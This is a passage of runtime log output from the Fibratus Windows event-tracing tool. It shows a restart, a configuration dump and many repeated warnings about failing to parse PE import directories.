data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:42:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:42:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:42:07+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:42:08+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:42:09+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:43:02+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:43:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:43:02+01:00 level=info msg=bootstrapping with pid 16916. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:43:02+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>false enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + kstream ........................ [ enable-dns=>true enable-image=>true enable-thread=>true buffer-size=>512 min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-vamap=>true enable-handle=>false enable-audit-api=>true stack-enrichment=>true enable-fileio=>true enable-mem=>true blacklist=>[ images=>[] events=>[]] enable-net=>true enable-registry=>true] + logging ........................ [ max-size=>100 level=>info max-backups=>15 max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ timeout=>5s vhost=>/ delivery-mode=>transient enabled=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic routing-key=>fibratus] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true] elasticsearch=>[ healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false healthcheck=>true healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus gzip-compression=>false sniff=>false bulk-workers=>1 index-name=>fibratus] http=>[ endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false enabled=>false serializer=>json method=>POST] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s fastscan=>true excluded-files=>[] skip-files=>true enabled=>false alert-template=>[] alert-via=>mail] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:43:03+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:43:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:43:05+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:43:05+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:43:05+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 